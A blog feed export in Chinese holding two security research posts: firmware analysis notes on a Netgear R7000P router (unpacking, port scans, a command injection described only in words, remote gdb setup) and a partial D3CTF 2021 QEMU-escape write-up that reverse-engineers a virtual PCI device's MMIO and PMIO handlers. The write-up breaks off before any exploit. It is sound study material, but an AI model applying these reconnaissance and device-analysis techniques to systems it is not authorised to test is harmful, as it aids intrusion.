src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
<tags>
<tag> 日记 </tag>
</tags>
</entry>
<entry>
<title>Netgear固件分析笔记</title>
<link href="/2021/04/24/Netgear%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90%E7%AC%94%E8%AE%B0/"/>
<url>/2021/04/24/Netgear%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>下载了一个Netgear R7000P的固件, 然后跟了一下<code>system</code>的引用, 找到一个过滤不严格的命令注入, 可以绕过, 就喊导师搞了一个路由器, 可惜后续研究发现这个洞必须要在debug模式下才能触发, 所以接下来不能浪费买路由器的钱, 还得挖一下其他的洞</p><h2 id="解包"><a href="#解包" class="headerlink" title="解包"></a>解包</h2><p>下载来的是<code>.chk</code>文件</p><p>参考<a href="https://gist.github.com/nstarke/7d12de1d209d9c699dc0bbc481837848">这里</a></p><p>先用binwalk解出<code>.ubi</code>文件, 然后用脚本<a href="https://github.com/jrspruitt/ubi_reader">ubi_reader</a>拿到<code>squashfs</code>文件系统</p><h2 id="历史漏洞"><a href="#历史漏洞" class="headerlink" title="历史漏洞"></a>历史漏洞</h2><h2 id="端口开放情况"><a href="#端口开放情况" class="headerlink" title="端口开放情况"></a>端口开放情况</h2><p>nmap扫一下:</p><pre><code>➜ ~ nmap 192.168.1.1 -p1-65535 Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-24 18:49 PDTNmap scan report for 192.168.1.1Host is up (0.011s latency).Not shown: 65518 filtered portsPORT STATE SERVICE53/tcp open domain80/tcp open http631/tcp open ipp1990/tcp open stun-p15000/tcp open upnp8200/tcp open trivnet19100/tcp open jetdirect9101/tcp open jetdirect9102/tcp open jetdirect9103/tcp open jetdirect9104/tcp open jetdirect9106/tcp open jetdirect9107/tcp open jetdirect9108/tcp open unknown9109/tcp open unknown20005/tcp open btx33344/tcp open unknownNmap done: 1 IP address (1 host up) scanned in 127.17 seconds➜ ~ sudo nmap -sU -A -T5 192.168.1.1 -p 9100-9109Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-24 19:42 PDTNmap scan report for 192.168.1.1Host is up (0.00047s latency).PORT STATE SERVICE VERSION9100/udp open|filtered hp-pdl-datastr9101/udp open|filtered bacula-dir9102/udp open|filtered bacula-fd9103/udp open|filtered bacula-sd9104/udp open|filtered peerwire9105/udp open|filtered xadmin9106/udp open|filtered astergate-disc9107/udp open|filtered unknown9108/udp open|filtered unknown9109/udp open|filtered unknownWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: WAP|general purposeRunning: Actiontec embedded, Linux 2.4.X|3.XOS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:linux:linux_kernel:4.4OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Linux 4.4Network Distance: 2 hopsTRACEROUTE (using port 80/tcp)HOP RTT ADDRESS1 0.04 ms _gateway (192.168.190.2)2 0.06 ms 192.168.1.1OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 241.27 seconds</code></pre><p>由于我们通过串口直接拿到了root shell, 所以其实可以用<code>netstat</code>直接看:</p><pre><code># netstat -nl Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address Statetcp 0 0 0.0.0.0:33344 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:14369 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:20005 0.0.0.0:* LISTEN tcp 0 0 192.168.1.1:1990 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:8200 0.0.0.0:* LISTEN tcp 0 0 192.168.1.1:5000 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9100 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9101 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9102 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9103 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9104 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9105 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9106 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9107 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9108 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9109 0.0.0.0:* LISTEN tcp 0 0 192.168.1.1:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:5916 0.0.0.0:* LISTEN tcp 0 0 :::80 :::* LISTEN tcp 0 0 :::53 :::* LISTEN udp 0 0 127.0.0.1:44032 0.0.0.0:* udp 0 0 192.168.1.1:34057 0.0.0.0:* udp 0 0 0.0.0.0:42000 0.0.0.0:* udp 0 0 127.0.0.1:42032 0.0.0.0:* udp 0 0 127.0.0.1:40500 0.0.0.0:* udp 0 0 192.168.1.1:53 0.0.0.0:* udp 0 0 0.0.0.0:67 0.0.0.0:* udp 0 0 0.0.0.0:50000 0.0.0.0:* udp 0 0 0.0.0.0:45926 0.0.0.0:* udp 0 0 0.0.0.0:49000 0.0.0.0:* udp 0 0 239.255.255.250:1900 0.0.0.0:* udp 0 0 0.0.0.0:1900 0.0.0.0:* udp 0 0 0.0.0.0:1900 0.0.0.0:* udp 0 0 0.0.0.0:38000 0.0.0.0:* udp 0 0 0.0.0.0:48000 0.0.0.0:* udp 0 0 0.0.0.0:37000 0.0.0.0:* udp 0 0 127.0.0.1:38032 0.0.0.0:* udp 0 0 0.0.0.0:47000 0.0.0.0:* udp 0 0 0.0.0.0:46000 0.0.0.0:* udp 0 0 127.0.0.1:37064 0.0.0.0:* udp 0 0 0.0.0.0:45000 0.0.0.0:* udp 0 0 0.0.0.0:44000 0.0.0.0:* udp 0 0 0.0.0.0:5353 0.0.0.0:* udp 0 0 0.0.0.0:43000 0.0.0.0:* udp 0 0 :::53 :::* Active UNIX domain sockets (only servers)Proto RefCnt Flags Type State I-Node Pathunix 2 [ ACC ] STREAM LISTENING 20308 /var/run/cal_cmdunix 2 [ ACC ] STREAM LISTENING 20310 /var/run/cal_port</code></pre><p>我们可以看一下这些端口是哪些服务在使用:</p><pre><code>Usage: netstat [-laentuwxrW]Display networking informationOptions: -l Display listening server sockets -a Display all sockets (default: connected) -e Display other/more information -n Don't resolve names -t Tcp sockets -u Udp sockets -w Raw sockets -x Unix sockets -r Display routing table -W Display with no column truncation</code></pre><p>由于自带的netstat没有查看占用端口的程序的pid的功能, 我们通过以下方式查看:</p><pre><code># netstat -an|grep tcp 0 0 0.0.0.0:33344 0.0.0.0:* LISTEN # 转成了16进制# echo 33344 | awk '{ printf "%x\n", $1 }'8240# grep -i 8240 /proc/net/udp | awk '{ printf "local: %s inode: %s\n", $2, $10 }'local: 0100007F:AC00 inode: 18874# ls -al /proc/*/fd/* 2>/dev/null | grep 18874lrwx------ 1 admin root 64 May 28 05:33 /proc/1695/fd/4 -> socket:[18874]# ps w|grep 16951695 admin 1736 S mevent 20502 admin 2908 S grep 1695 </code></pre><p>即33344端口运行的程序是<code>mevent</code>, 以此我们可以推出所有端口运行的程序:</p><pre><code>TCP: 1990: /bin/wps_monitor 5000: upnp 8200: minidlna.exe 9100-9109: KC_PRINT 20005: 33344: mevent 14369: /opt/xagent/xagent -w -d --ca_file /opt/xagent/certs/ca-bundle-mega.crt --hardware_id 5J930570A03AD --mode 5916: /usr/sbin/acsdUDP: 44032: mevent 34057: minidlna.exe 42000, 50000, 49000, 38000, 48000, 37000, 46000, 45000, 44000, 43000: /bin/eapd 42032: /usr/bin/acsd 40500, 37064: /bin/wps_monitor 53: dns 67: 45926: upnpd 1900: 38032: nas 5353: KC_BONJOUR</code></pre><h2 id="漏洞挖掘"><a href="#漏洞挖掘" class="headerlink" title="漏洞挖掘"></a>漏洞挖掘</h2><p>首要的目标肯定是未授权, 所以在httpd里先搜索一下cgi, 然后写个脚本批量跑一下看看有哪些是可以不登陆就访问到的</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h2><p>调试使用了gdb的远程调试, 把编译好的gdbserver, 通过wget下载到路由器上(只有/tmp目录可写), 我穿了一份在自己服务器上</p><pre><code>wget http://39.104.59.155/gdbserver-armel</code></pre><p>路由器上执行<code>./gdbserver-armel --attach 0.0.0.0:9999 pid</code></p><p>在主机里attach上去</p><p>设置子进程跟踪<code>set follow-fork-mode child</code>, 然后attach上去<code>target remote 192.168.1.1:9999</code></p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ol><li><a href="https://www.netgear.com/support/download/">https://www.netgear.com/support/download/</a></li><li><a href="https://gist.github.com/nstarke/7d12de1d209d9c699dc0bbc481837848">https://gist.github.com/nstarke/7d12de1d209d9c699dc0bbc481837848</a></li><li><a href="https://paper.seebug.org/1311/#5">https://paper.seebug.org/1311/#5</a></li><li><a href="https://forum.dd-wrt.com/phpBB2/viewtopic.php?p=1144504">https://forum.dd-wrt.com/phpBB2/viewtopic.php?p=1144504</a></li><li><a href="https://www.anquanke.com/post/id/85125">https://www.anquanke.com/post/id/85125</a></li><li><a href="https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r7000-httpd-preauth-rce/">https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r7000-httpd-preauth-rce/</a></li><li><a href="https://zybuluo.com/H4l0/note/1524758#%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF%E6%8A%80%E5%B7%A7">https://zybuluo.com/H4l0/note/1524758#%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF%E6%8A%80%E5%B7%A7</a></li><li><a href="https://zybuluo.com/H4l0/note/1524758#%E5%AE%9E%E4%BE%8B%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90">https://zybuluo.com/H4l0/note/1524758#%E5%AE%9E%E4%BE%8B%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90</a></li><li><a href="https://www.anquanke.com/post/id/204326#h2-3">https://www.anquanke.com/post/id/204326#h2-3</a></li><li><a href="https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-follow-fork-mode-child.html">https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-follow-fork-mode-child.html</a></li><li><a href="http://blog.chinaunix.net/uid-69947851-id-5825875.html">http://blog.chinaunix.net/uid-69947851-id-5825875.html</a></li><li><a href="https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-detach-on-fork.html">https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-detach-on-fork.html</a></li><li></li></ol>]]></content>
</entry>
<entry>
<title>D3ctf-2021-Qualifier-Pwn-D3dev</title>
<link href="/2021/04/15/d3ctf-2021-qualifier-pwn-d3dev/"/>
<url>/2021/04/15/d3ctf-2021-qualifier-pwn-d3dev/</url>
<content type="html"><![CDATA[<h2 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h2><p>d3devState结构体:</p><pre><code>d3devStatestruct __attribute__((aligned(16))) { PCIDevice_0 pdev; MemoryRegion_0 mmio; MemoryRegion_0 pmio; uint32_t memory_mode; uint32_t seek; uint32_t init_flag; ; 标志是否初始化 uint32_t mmio_read_part; uint32_t mmio_write_part; uint32_t r_seed; uint64_t blocks[257]; uint32_t key[4]; ; 4个随机数(rand()) int (*rand_r)(unsigned int *);}</code></pre><p>pci_d3dev_realize:</p><pre><code>void __fastcall pci_d3dev_realize(PCIDevice_0 *pdev, Error_0 **errp){memory_region_init_io( (MemoryRegion_0 *)&pdev[1], &pdev->qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL);pci_register_bar(pdev, 0, 0, (MemoryRegion_0 *)&pdev[1]);memory_region_init_io( (MemoryRegion_0 *)&pdev[1].name[56], &pdev->qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL);pci_register_bar(pdev, 1, 1u, (MemoryRegion_0 *)&pdev[1].name[56]);}</code></pre><p>可以看到mmio操作结构体<code>d3dev_mmio_ops</code>,大小0x800,pmoi操作结构体<code>d3dev_pmio_ops</code>,大小0x20</p><p>void __fastcall d3dev_instance_init(Object_0 <em>obj)<br>{<br> d3devState </em>v1; // rbx<br> unsigned int v2; // eax<br> int v3; // eax</p><p> v1 = (d3devState <em>)object_dynamic_cast_assert(<br> obj,<br> “d3dev”,<br> “/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c”,<br> 213,<br> “d3dev_instance_init”);<br> v1->rand_r = (int (</em>)(unsigned int *))&rand_r;<br> if ( !v1->init_flag )<br> {<br> v2 = time(0LL);<br> srand(v2);<br> v1->key[0] = rand();<br> v1->key[1] = rand();<br> v1->key[2] = rand();<br> v3 = rand();<br> v1->init_flag = 1;<br> v1->key[3] = v3;<br> }<br>}</p><p>接下来看mmio和pmio的操作</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><h3 id="MMIO"><a href="#MMIO" class="headerlink" title="MMIO"></a>MMIO</h3><h4 id="d3dev-mmio-read"><a href="#d3dev-mmio-read" class="headerlink" title="d3dev_mmio_read"></a>d3dev_mmio_read</h4><p>已知key[0-3]是一组随机数,addr是我们传进来的地址,在如下循环中</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">{</span><br><span class="line"> LODWORD(result) = result - ((v5 + v4) ^ (opaque->key[<span class="number">3</span>] + (v5 >> <span class="number">5</span>)) ^ (opaque->key[<span class="number">2</span>] + <span class="number">16</span> * v5));</span><br><span class="line"> v5 -= (result + v4) ^ (opaque->key[<span class="number">1</span>] + ((<span class="keyword">unsigned</span> <span class="keyword">int</span>)result >> <span class="number">5</span>)) ^ (opaque->key[<span class="number">0</span>] + <span class="number">16</span> * result);</span><br><span class="line"> v4 += <span class="number">0x61C88647</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">while</span> ( v4 );</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">uint64_t</span> __fastcall <span class="title">d3dev_mmio_read</span><span class="params">(d3devState *opaque, hwaddr addr, <span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="built_in">size</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">uint64_t</span> v3; <span class="comment">// rax</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v4; <span class="comment">// esi</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v5; <span class="comment">// ecx</span></span><br><span class="line"> <span class="keyword">uint64_t</span> result; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line"> v3 = opaque->blocks[opaque-><span class="built_in">seek</span> + (<span class="keyword">unsigned</span> <span class="keyword">int</span>)(addr >> <span class="number">3</span>)];</span><br><span class="line"> v4 = <span class="number">0xC6EF3720</span>;</span><br><span class="line"> v5 = v3;</span><br><span class="line"> result = HIDWORD(v3);</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> {</span><br><span class="line"> LODWORD(result) = result - ((v5 + v4) ^ (opaque->key[<span class="number">3</span>] + (v5 >> <span class="number">5</span>)) ^ (opaque->key[<span class="number">2</span>] + <span class="number">16</span> * v5));</span><br><span class="line"> v5 -= (result + v4) ^ (opaque->key[<span class="number">1</span>] + ((<span class="keyword">unsigned</span> <span class="keyword">int</span>)result >> <span class="number">5</span>)) ^ (opaque->key[<span class="number">0</span>] + <span class="number">16</span> * result);</span><br><span class="line"> v4 += <span class="number">0x61C88647</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ( v4 );</span><br><span class="line"> <span class="keyword">if</span> ( opaque->mmio_read_part )</span><br><span class="line"> {</span><br><span class="line"> opaque->mmio_read_part = <span class="number">0</span>;</span><br><span class="line"> result = (<span class="keyword">unsigned</span> <span class="keyword">int</span>)result;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> opaque->mmio_read_part = <span class="number">1</span>;</span><br><span class="line"> result = v5;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="d3dev-mmio-write"><a href="#d3dev-mmio-write" class="headerlink" title="d3dev_mmio_write"></a>d3dev_mmio_write</h4><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">d3dev_mmio_write</span><span class="params">(d3devState *opaque, hwaddr addr, <span class="keyword">uint64_t</span> val, <span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="built_in">size</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 v4; <span class="comment">// rsi</span></span><br><span class="line"> ObjectClass_0 **v5; <span class="comment">// r11</span></span><br><span class="line"> <span class="keyword">uint64_t</span> v6; <span class="comment">// rdx</span></span><br><span class="line"> <span class="keyword">int</span> v7; <span class="comment">// esi</span></span><br><span class="line"> <span class="keyword">uint32_t</span> v8; <span class="comment">// er10</span></span><br><span class="line"> <span class="keyword">uint32_t</span> v9; <span class="comment">// er9</span></span><br><span class="line"> <span class="keyword">uint32_t</span> v10; <span class="comment">// er8</span></span><br><span class="line"> <span class="keyword">uint32_t</span> v11; <span class="comment">// edi</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v12; <span class="comment">// ecx</span></span><br><span class="line"> <span class="keyword">uint64_t</span> v13; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">size</span> == <span class="number">4</span> )</span><br><span class="line"> {</span><br><span class="line"> v4 = opaque-><span class="built_in">seek</span> + (<span class="keyword">unsigned</span> <span class="keyword">int</span>)(addr >> <span class="number">3</span>);</span><br><span class="line"> <span class="keyword">if</span> ( opaque->mmio_write_part )</span><br><span class="line"> {</span><br><span class="line"> v5 = &opaque->pdev.qdev.parent_obj.class + v4;</span><br><span class="line"> v6 = val << <span class="number">32</span>;</span><br><span class="line"> v7 = <span class="number">0</span>;</span><br><span class="line"> opaque->mmio_write_part = <span class="number">0</span>;</span><br><span class="line"> v8 = opaque->key[<span class="number">0</span>];</span><br><span class="line"> v9 = opaque->key[<span class="number">1</span>];</span><br><span class="line"> v10 = opaque->key[<span class="number">2</span>];</span><br><span class="line"> v11 = opaque->key[<span class="number">3</span>];</span><br><span class="line"> v12 = v6 + *((_DWORD *)v5 + <span class="number">0x2B6</span>);</span><br><span class="line"> v13 = ((<span class="keyword">unsigned</span> __int64)v5[<span class="number">0x15B</span>] + v6) >> <span class="number">32</span>;</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> {</span><br><span class="line"> v7 -= <span class="number">0x61C88647</span>;</span><br><span class="line"> v12 += (v7 + v13) ^ (v9 + ((<span class="keyword">unsigned</span> <span class="keyword">int</span>)v13 >> <span class="number">5</span>)) ^ (v8 + <span class="number">16</span> * v13);</span><br><span class="line"> LODWORD(v13) = ((v7 + v12) ^ (v11 + (v12 >> <span class="number">5</span>)) ^ (v10 + <span class="number">16</span> * v12)) + v13;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ( v7 != <span class="number">0xC6EF3720</span> );</span><br><span class="line"> v5[<span class="number">347</span>] = (ObjectClass_0 *)__PAIR64__(v13, v12);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> opaque->mmio_write_part = <span class="number">1</span>;</span><br><span class="line"> opaque->blocks[v4] = (<span class="keyword">unsigned</span> <span class="keyword">int</span>)val;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="编程访问MMIO"><a href="#编程访问MMIO" class="headerlink" title="编程访问MMIO"></a>编程访问MMIO</h4><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span>* mmio_mem;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mmio_write</span><span class="params">(<span class="keyword">uint32_t</span> addr, <span class="keyword">uint32_t</span> value)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> *((<span class="keyword">uint32_t</span>*)(mmio_mem + addr)) = value;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">uint32_t</span> <span class="title">mmio_read</span><span class="params">(<span class="keyword">uint32_t</span> addr)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">return</span> *((<span class="keyword">uint32_t</span>*)(mmio_mem + addr));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Open and map I/O memory for the strng device</span></span><br><span class="line"> <span class="keyword">int</span> mmio_fd = <span class="built_in">open</span>(<span class="string">"/sys/devices/pci0000:00/0000:00:03.0/resource0"</span>, O_RDWR | O_SYNC);</span><br><span class="line"> <span class="keyword">if</span> (mmio_fd == <span class="number">-1</span>)</span><br><span class="line"> die(<span class="string">"mmio_fd open failed"</span>);</span><br><span class="line"></span><br><span class="line"> mmio_mem = mmap(<span class="number">0</span>, <span class="number">0x1000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (mmio_mem == MAP_FAILED)</span><br><span class="line"> die(<span class="string">"mmap mmio_mem failed"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="PMIO"><a href="#PMIO" class="headerlink" title="PMIO"></a>PMIO</h3><h4 id="d3dev-pmio-read"><a href="#d3dev-pmio-read" class="headerlink" title="d3dev_pmio_read"></a>d3dev_pmio_read</h4><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">uint64_t</span> __fastcall <span class="title">d3dev_pmio_read</span><span class="params">(d3devState *opaque, hwaddr addr, <span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="built_in">size</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">uint64_t</span> result; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( addr > <span class="number">0x18</span> )</span><br><span class="line"> result = <span class="number">-1L</span>L;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> result = ((__int64 (__fastcall *)(d3devState *))((<span class="keyword">char</span> *)dword_7ADF30 + dword_7ADF30[addr]))(opaque);</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里实际上有一波混淆,汇编里是这样的:</p><pre><code>.text:00000000004D7D00 ; uint64_t __fastcall d3dev_pmio_read(d3devState *opaque, hwaddr addr, unsigned int size).text:00000000004D7D00 d3dev_pmio_read proc near ; DATA XREF: .data.rel.ro:d3dev_pmio_ops↓o.text:00000000004D7D00 addr = rsi ; hwaddr.text:00000000004D7D00 size = rdx ; unsigned int.text:00000000004D7D00 opaque = rdi ; void *.text:00000000004D7D00 ; __unwind {.text:00000000004D7D00 endbr64.text:00000000004D7D04 d3dev = rdi ; d3devState *.text:00000000004D7D04 cmp addr, 18h.text:00000000004D7D08 ja short loc_4D7D20.text:00000000004D7D0A lea size, table.text:00000000004D7D11 movsxd rax, dword ptr [rdx+addr*4].text:00000000004D7D15 add rax, rdx.text:00000000004D7D18 db 3Eh.text:00000000004D7D18 jmp rax.text:00000000004D7D18 ; ---------------------------------------------------------------------------.text:00000000004D7D1B align 20h.text:00000000004D7D20.text:00000000004D7D20 loc_4D7D20: ; CODE XREF: d3dev_pmio_read+8↑j.text:00000000004D7D20 mov rax, 0FFFFFFFFFFFFFFFFh.text:00000000004D7D27 retn.text:00000000004D7D27 d3dev_pmio_read endp.text:00000000004D7D27.text:00000000004D7D27 ; ---------------------------------------------------------------------------.text:00000000004D7D28 align 10h.text:00000000004D7D30 mov eax, [rdi+12ECh].text:00000000004D7D36 retn.text:00000000004D7D36 ; ---------------------------------------------------------------------------.text:00000000004D7D37 align 20h.text:00000000004D7D40 mov eax, [rdi+0AC0h].text:00000000004D7D46 retn.text:00000000004D7D46 ; ---------------------------------------------------------------------------.text:00000000004D7D47 align 10h.text:00000000004D7D50 mov eax, [rdi+0AC4h].text:00000000004D7D56 retn.text:00000000004D7D56 ; ---------------------------------------------------------------------------.text:00000000004D7D57 align 20h.text:00000000004D7D60 mov eax, [rdi+12E0h].text:00000000004D7D66 retn.text:00000000004D7D66 ; ---------------------------------------------------------------------------.text:00000000004D7D67 align 10h.text:00000000004D7D70 mov eax, [rdi+12E4h].text:00000000004D7D76 retn.text:00000000004D7D76 ; ---------------------------------------------------------------------------.text:00000000004D7D77 align 20h.text:00000000004D7D80 mov eax, [rdi+12E8h].text:00000000004D7D86 retn.text:00000000004D7D86 ; } // starts at 4D7D00</code></pre><p>table以32位显示是这样的:</p><pre><code>.rodata:00000000007ADF30 ; int table[28].rodata:00000000007ADF30 10 9E D2 FF table dd 0FFD29E10h ; DATA XREF: d3dev_pmio_read+A↑o.rodata:00000000007ADF34 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF38 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF3C F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF40 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF44 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF48 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF4C F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF50 20 9E D2 FF dd 0FFD29E20h.rodata:00000000007ADF54 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF58 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF5C F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF60 30 9E D2 FF dd 0FFD29E30h.rodata:00000000007ADF64 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF68 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF6C F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF70 40 9E D2 FF dd 0FFD29E40h.rodata:00000000007ADF74 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF78 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF7C F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF80 50 9E D2 FF dd 0FFD29E50h.rodata:00000000007ADF84 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF88 F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF8C F0 9D D2 FF dd 0FFD29DF0h.rodata:00000000007ADF90 00 9E D2 FF 00+ dq 0FFD29E00h.rodata:00000000007ADF98 00 00 00 00 00+ dq 0</code></pre><p><img src="/images/d3ctf-2021-qualifier-pwn-d3dev/2021-03-10-01-03-59.png" alt=""></p><p>流程就是,首先假设我们传进来的addr是0,那么获取table[0],由指令movsxd运算,将32位的<code>0xFFD29E10</code>扩展为64位地址,</p><p>高位用符号位补齐,即扩展为<code>0xFFFFFFFFFFD29E10</code>,然后再加上前面lea读取的table的地址,即<code>00000000007ADF30</code>这个地址,</p><p>得到目标地址<code>0x100000000004d7d40</code>,即:</p><pre><code>.text:00000000004D7D40 8B 87 C0 0A 00+ mov eax, [rdi+0AC0h].text:00000000004D7D40 00.text:00000000004D7D46 C3 retn</code></pre><p>据此我们可以把table中的全部地址计算出目标地址,以及对应的addr:</p><pre><code>0FFD29E00h -> 0x100000000004d7d30 -> 0x180FFD29E10h -> 0x100000000004d7d40 -> 0x000FFD29E20h -> 0x100000000004d7d50 -> 0x080FFD29E30h -> 0x100000000004d7d60 -> 0x0c0FFD29E40h -> 0x100000000004d7d70 -> 0x100FFD29E50h -> 0x100000000004d7d80 -> 0x140FFD29DF0h -> 0x100000000004d7d20 -> check failed</code></pre><p>实际上根据出现次数也能看出来,0FFD29DF0h会跳转到</p><pre><code>.text:00000000004D7D20 48 C7 C0 FF FF+ mov rax, 0FFFFFFFFFFFFFFFFh.text:00000000004D7D20 FF FF.text:00000000004D7D27 C3 retn</code></pre><p>即check failed的块,所以我们的addr只能是0x20/4,0x30/4,0x40/4,0x50/4,0x60/4,即0x8,0xc,0x10,0x14,0x18</p><pre><code>00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)00000000 pdev PCIDevice_0 ?000008E0 mmio MemoryRegion_0 ?000009D0 pmio MemoryRegion_0 ?00000AC0 memory_mode dd ?00000AC4 seek dd ?00000AC8 init_flag dd ?00000ACC mmio_read_part dd ?00000AD0 mmio_write_part dd ?00000AD4 r_seed dd ?00000AD8 blocks dq 257 dup(?)000012E0 key dd 4 dup(?) ; 4个double word,1个是4字节,即12e0,12e4,12e8,12ec000012F0 rand_r dq ? ; offset000012F8 db ? ; undefined000012F9 db ? ; undefined000012FA db ? ; undefined000012FB db ? ; undefined000012FC db ? ; 